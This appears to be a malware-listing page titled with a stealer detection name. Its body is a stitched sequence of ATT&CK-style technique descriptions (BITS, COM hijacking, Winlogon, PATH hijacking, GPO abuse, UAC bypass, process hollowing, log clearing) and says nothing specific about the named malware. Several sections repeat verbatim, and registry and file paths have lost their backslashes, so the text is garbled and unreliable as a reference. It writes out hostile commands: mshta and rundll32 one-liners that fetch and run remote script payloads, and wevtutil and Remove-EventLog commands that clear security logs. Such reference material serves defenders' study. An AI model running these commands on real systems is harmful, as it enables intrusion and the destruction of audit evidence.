Trojan-PSW.BAT.Stealer.gen

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance – Command History)(Citation: Remote Shell Execution in Python)

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

### Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)

Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic.(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:

* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `SYSVOLPolicies`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>MachinePreferencesScheduledTasksScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>MACHINEMicrosoftWindows NTSecEditGptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:

* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.

Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.

For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer’s alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

* wevtutil cl system

* wevtutil cl application

* wevtutil cl security

These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \systemshare /delete command. (Citation: Technet Net Use)

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant – Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer – Ryuk WoL)(Citation: AMD Magic Packet)

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `SYSVOLPolicies`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>MachinePreferencesScheduledTasksScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>MACHINEMicrosoftWindows NTSecEditGptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `SYSVOLPolicies`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying <GPO_PATH>MachinePreferencesScheduledTasksScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>MACHINEMicrosoftWindows NTSecEditGptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

